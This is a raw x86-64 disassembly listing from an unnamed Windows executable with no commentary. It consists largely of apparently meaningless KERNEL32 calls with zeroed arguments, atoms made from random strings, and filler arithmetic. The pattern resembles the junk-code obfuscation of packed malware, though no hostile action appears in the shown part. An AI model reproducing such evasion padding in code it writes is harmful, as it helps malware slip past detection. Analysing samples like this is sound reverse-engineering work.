mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xc778], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rax, qword [rsp + 0xc550]
mov rcx, qword [rsp + 0xc590]
mov qword [rsp + 0xd3a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd3a0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd240], rax
mov rcx, qword [rsp + 0xc5f0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0x1d598]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movsx eax, byte [0x1401c8a26]
mov rcx, qword [rsp + 0xcb10]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x27b], al
lea rcx, str.A2VqC0qBWm_VWplZ
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x22dc], ax
mov rax, qword [rsp + 0xc570]
mov ecx, dword [rsp + 0x66c0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x63c4], eax
lea rdx, [rsp + 0x261e8]
mov rcx, qword [rsp + 0xc850]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x66bc], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc020], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x66e4], eax
mov rax, qword [rsp + 0xcf00]
movzx eax, word [rax]
mov word [rsp + 0x22e0], ax
lea rcx, [rsp + 0x1ff78]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [rsp + 0x1e4c]
mov rcx, qword [rsp + 0xc7b8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x20a8], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc120], rax
lea rax, [rsp + 0xc868]
mov qword [0x1401c8c58], rax
mov r9d, 0x1bf4
xor r8d, r8d
lea rdx, [rsp + 0xc810]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x66e8], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movzx eax, word [rsp + 0x2124]
movzx ecx, word [rsp + 0x1f38]
and eax, ecx
mov word [rsp + 0x1fe0], ax
mov rax, qword [rsp + 0x9640]
mov qword [rsp + 0xd3a8], rax
mov r9d, 0xd16
xor r8d, r8d
lea rdx, [rsp + 0xd168]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6590], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
lea rcx, [rsp + 0x202a8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xcc38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaf20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcc80], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x64c4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x65c8], eax
mov rax, qword [0x1401c8ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcb90]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xbab8], rax
movzx ecx, word [rsp + 0x1f30]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x22e4], ax
movsx eax, byte [rsp + 0x37f]
movsx ecx, byte [rsp + 0x387]
shl eax, cl
mov byte [rsp + 0x26b], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rsp + 0xc438]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x253]
sar eax, cl
mov rcx, qword [rsp + 0xc438]
mov byte [rcx], al
mov rcx, qword [rsp + 0xcab8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x632c], eax
lea rcx, [rsp + 0x1d520]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, [0x1401ad100]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x22e8], ax
mov rcx, qword [rsp + 0xc038]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [0x1401c8a1c]
mov qword [rsp + 0xd3b0], rax
mov rax, qword [rsp + 0xc8c0]
mov ecx, dword [rsp + 0x59f4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x64d4], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x62e8], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6304], eax
movsx eax, word [rsp + 0x20dc]
mov rcx, qword [rsp + 0xc408]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401c8c08], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc348], rax
lea rdx, [rsp + 0x26098]
mov rcx, qword [rsp + 0xc7a8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x64fc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x13c8]
mov word [rsp + 0x22ec], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
lea rcx, [rsp + 0x1d610]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc9a8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc858]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
lea rax, [rsp + 0x1164]
mov qword [rsp + 0xd3b8], rax
mov rax, qword [0x1401c8ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcf60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa148], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xd3c0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
mov rax, qword [rsp + 0xcb50]
mov ecx, dword [rsp + 0x5ed0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6448], eax
lea rcx, str.SAqXOUIriZ8
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2270], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6450], eax
movzx ecx, word [rsp + 0x1f10]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x229c], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xd3c8], rax
mov rax, qword [rsp + 0xcba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3a8]
shl eax, cl
mov byte [rsp + 0x13e], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6568], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x652c], eax
mov rax, qword [rsp + 0xc408]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc888]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x196c], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xcad8], rax
movzx eax, word [rsp + 0x16b8]
mov word [rsp + 0x22f0], ax
mov rax, qword [rsp + 0xcf68]
mov rcx, qword [rsp + 0xab28]
mov rax, qword [rax]
and rax, rcx
mov qword [0x1401c70b8], rax
mov rax, qword [rsp + 0xce10]
mov rcx, qword [rsp + 0xc390]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xc778], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
mov rax, qword [rsp + 0xd2e8]
mov rcx, qword [rsp + 0xc960]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xce40], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x66ec], eax
mov rax, qword [rsp + 0xa198]
mov qword [rsp + 0xd3d0], rax
mov r9d, 0x11f0
xor r8d, r8d
lea rdx, [rsp + 0xc978]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6394], eax
mov edx, 0x417
mov rcx, qword [rsp + 0xc398]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x627c], eax
lea rcx, [rsp + 0x202d8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6474], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xd1d0], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x66d8], eax
mov rax, qword [rsp + 0xc558]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f20]
shl eax, cl
mov rcx, qword [rsp + 0xc9a8]
mov word [rcx], ax
mov rcx, qword [rsp + 0xd028]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x66f0], eax
mov edx, 0x1c30
mov rcx, qword [rsp + 0xcc70]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x65b8], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x62b8], eax
mov rax, qword [rsp + 0xca88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x374]
or eax, ecx
mov byte [rsp + 0x1b0], al
mov rax, qword [rsp + 0xc6a8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xcf48]
mov qword [rsp + 0xd3d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd3d8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x6660], eax
lea rcx, [rsp + 0x20308]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xc8f8]
mov rcx, qword [rsp + 0xcea0]
movzx ecx, byte [rcx]
mov byte [rax], cl
mov rax, qword [rsp + 0xcb00]
mov rax, qword [rax]
mov qword [rsp + 0xd3e0], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
lea rcx, str.EdBqketdACG_RlOM_3pwI5uV
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x22b4], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc0b8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xcb50]
mov eax, dword [rax]
mov dword [0x1401c8c60], eax
movsx eax, word [rsp + 0x2100]
mov rcx, qword [rsp + 0xcd08]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc2b8]
mov word [rcx], ax
mov r9d, 0x1bf
xor r8d, r8d
lea rdx, [rsp + 0xc528]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x64b4], eax
lea rax, [rsp + 0x1b38]
mov qword [rsp + 0xd3e8], rax
lea rdx, [rsp + 0x26450]
mov rcx, qword [rsp + 0xc5c0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x64e4], eax
mov rax, qword [rsp + 0xcad0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1884]
add eax, ecx
mov word [rsp + 0xcb4], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov rax, qword [rsp + 0xc680]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcf98]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x94b8], rax
mov rcx, qword [rsp + 0xd0e8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xcd60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6098]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcfa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc910]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xca38]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa598], rax
mov rax, qword [rsp + 0xcb10]
movzx eax, byte [rax]
mov byte [rsp + 0x3bd], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
movsx eax, word [rsp + 0x221c]
movsx ecx, word [rsp + 0x2128]
shl eax, cl
mov word [rsp + 0x2180], ax
lea rcx, [rsp + 0x1fd38]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [rsp + 0xaa0]
movzx ecx, word [rsp + 0x1f8c]
sar eax, cl
mov word [0x1401c7028], ax
lea rax, [rsp + 0xb3b0]
mov qword [rsp + 0xd3f0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xd3f8], rax
mov rcx, qword [rsp + 0xcab8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [0x1401c8b28]
mov rcx, qword [rsp + 0xc838]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2284], ax
lea rcx, [rsp + 0x20248]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xcd70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6484]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x645c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
movzx ecx, word [rsp + 0x1f24]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x20e4], ax
lea rcx, [rsp + 0x1fe58]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xca88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x187]
or eax, ecx
mov byte [rsp + 0xcb], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xcea8]
mov rax, qword [rax]
imul rax, qword [rsp + 0xc1a0]
mov qword [rsp + 0xc550], rax
lea rcx, [rsp + 0x1d430]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx eax, byte [rsp + 0x2b7]
mov byte [rsp + 0x3be], al
mov rax, qword [rsp + 0xc570]
mov ecx, dword [rsp + 0x5a30]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6380], eax
movsx eax, word [rsp + 0x20e8]
movsx ecx, word [rsp + 0x1b0c]
or eax, ecx
mov word [rsp + 0x20a4], ax
movzx eax, word [rsp + 0x1404]
movzx ecx, word [rsp + 0x11f8]
sar eax, cl
mov word [0x1401c7118], ax
lea rax, [rsp + 0xcae0]
mov qword [rsp + 0xd400], rax
mov rax, qword [rsp + 0xd3f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd230]
mov qword [rsp + 0xd408], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd408]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xc1d8], rax
movzx eax, word [rsp + 0x221c]
mov word [rsp + 0x22f4], ax
movzx eax, word [0x1401c70e4]
movzx ecx, word [rsp + 0x200c]
sub eax, ecx
mov word [rsp + 0x1d24], ax
mov rax, qword [rsp + 0xcd28]
mov rcx, qword [rsp + 0xcf60]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbfd8], rax
movsx eax, byte [rsp + 0x15f]
movsx ecx, byte [rsp + 0x3a2]
add eax, ecx
mov byte [rsp + 0x17d], al
mov r9d, 0x1cd3
xor r8d, r8d
lea rdx, [rsp + 0xd150]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x658c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov rax, qword [rsp + 0xcb50]
mov rcx, qword [rsp + 0xd190]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc520]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcc80]
mov qword [rsp + 0xd410], rax
movsx eax, word [rsp + 0x22d8]
mov rcx, qword [rsp + 0xc9f0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401c8a28], ax
movzx eax, word [rsp + 0x1c98]
mov rcx, qword [rsp + 0xc980]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2064], ax
mov rax, qword [rsp + 0xc728]
mov ecx, dword [rsp + 0x6654]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5c40], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov rax, qword [rsp + 0xc438]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc4d0]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xd008]
mov byte [rcx], al
lea rcx, [rsp + 0x1d638]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0xc878]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc928]
shl rax, cl
mov rcx, qword [rsp + 0xcf68]
mov qword [rcx], rax
mov rcx, qword [rsp + 0xc998]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x66f4], eax
lea rax, [rsp + 0xced0]
mov qword [rsp + 0xd418], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
lea rcx, [rsp + 0x1d4f8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x64e0], eax
mov eax, dword [rsp + 0x64f0]
movzx ecx, al
mov eax, dword [0x1401c8a18]
shr eax, cl
mov rcx, qword [rsp + 0xc6f0]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rdx, [rsp + 0x260d0]
mov rcx, qword [rsp + 0xd1a8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x66f4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x66f8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6564], eax
mov rax, qword [rsp + 0xc610]
movzx eax, byte [rax]
mov byte [rsp + 0x3bf], al
mov r9d, 1
lea r8, [rsp + 0xcc78]
mov rdx, qword [rsp + 0xd420]
mov rcx, qword [rsp + 0xd0c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x66b4], eax
mov rcx, qword [rsp + 0xc718]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0x1238]
mov rcx, qword [rsp + 0xcd98]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x13c8], ax
mov rcx, qword [rsp + 0xc3d0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0x22c4]
mov word [0x1401c8c64], ax
mov rax, qword [rsp + 0xce40]
mov rcx, qword [rsp + 0xcf98]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc760], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc090], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
mov rax, qword [rsp + 0xd3b8]
movzx eax, word [rax]
mov word [rsp + 0x22f8], ax
movsx eax, word [rsp + 0x2194]
mov rcx, qword [rsp + 0xca78]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2040], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rdx, [rsp + 0x26300]
mov rcx, qword [rsp + 0xc078]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6534], eax
mov rax, qword [rsp + 0xa530]
movzx ecx, al
mov rax, qword [rsp + 0xb910]
shl rax, cl
mov qword [rsp + 0xbb60], rax
mov rcx, qword [rsp + 0xd168]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xd190]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6328]
shr eax, cl
mov dword [rsp + 0x6514], eax
movsx eax, byte [rsp + 0x385]
movsx ecx, byte [rsp + 0x65]
or eax, ecx
mov rcx, qword [rsp + 0xc4f8]
mov byte [rcx], al
mov rax, qword [rsp + 0xced0]
mov qword [rsp + 0xd428], rax
movzx eax, word [rsp + 0x227c]
mov rcx, qword [rsp + 0xcfb0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
mov rax, qword [rsp + 0xd1d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc118]
add rcx, rax
mov rax, rcx
mov rcx, qword [0x1401c8aa8]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
lea rcx, str.V6_VG_NDVU
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x22d4], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x66fc], eax
mov edx, 0x3de
mov rcx, qword [rsp + 0xc640]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x65c4], eax
lea rax, [rsp + 0x62cc]
mov qword [rsp + 0xd430], rax
mov r9d, 1
lea r8, [rsp + 0xccd0]
mov rdx, qword [rsp + 0xd438]
mov rcx, qword [rsp + 0xcfc0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6588], eax
mov rcx, qword [rsp + 0xca10]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xc4b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x396]
xor eax, ecx
mov byte [rsp + 0x117], al
mov rcx, qword [rsp + 0xc798]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6520], eax
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc638]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x904], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
movzx eax, word [rsp + 0x2288]
mov rcx, qword [0x1401c8bd0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xccf0]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xca20]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xba90]
shr rax, cl
mov qword [rsp + 0xc0d8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x66d0], eax
lea rax, [rsp + 0x5d48]
mov qword [rsp + 0xd440], rax
mov rax, qword [rsp + 0xcce8]
movsx eax, byte [rax]
mov rcx, qword [0x1401c8be8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1e8], al
mov rcx, qword [rsp + 0xd308]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x65f0], eax
movzx eax, word [rsp + 0x196c]
mov word [rsp + 0x22fc], ax
mov rax, qword [rsp + 0xce98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xca48]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401c711c], ax
mov rax, qword [0x1401c8aa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc9c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb768], rax
mov rax, qword [rsp + 0x94b8]
mov rcx, qword [rsp + 0xd118]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb3b0], rax
mov rax, qword [rsp + 0xc450]
mov qword [rsp + 0xd448], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
movsx eax, word [0x1401c8a14]
mov rcx, qword [rsp + 0xd068]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x22b8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xcf18]
mov rcx, qword [rsp + 0xc7a0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb7f8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov eax, dword [rsp + 0x66a0]
movzx ecx, al
mov eax, dword [rsp + 0x5b60]
shl eax, cl
mov dword [rsp + 0x662c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6510], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov rax, qword [rsp + 0xce18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xca30]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc668]
mov byte [rcx], al
lea rcx, [rsp + 0x20338]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [rsp + 0x665c]
mov dword [rsp + 0x6700], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc120], rax
movzx eax, byte [rsp + 0x18a]
movzx ecx, byte [0x1401c8a16]
sub eax, ecx
mov byte [rsp + 0x384], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x65d8], eax
movzx eax, word [rsp + 0x20bc]
mov word [0x1401c8c68], ax
lea rcx, [rsp + 0x1d4d0]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movzx eax, word [rsp + 0x1e24]
mov rcx, qword [rsp + 0xcbd0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1e5c], ax
lea rcx, str.EZ809AG0ZL6JY
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2300], ax
lea rcx, [rsp + 0x1fcd8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [rsp + 0x114c]
mov rcx, qword [rsp + 0xc7b8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xcef8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9790]
movzx ecx, al
mov rax, qword [rsp + 0xab60]
sar rax, cl
mov qword [rsp + 0xccb0], rax
movzx eax, byte [rsp + 0x5e]
mov byte [rsp + 0x3c0], al
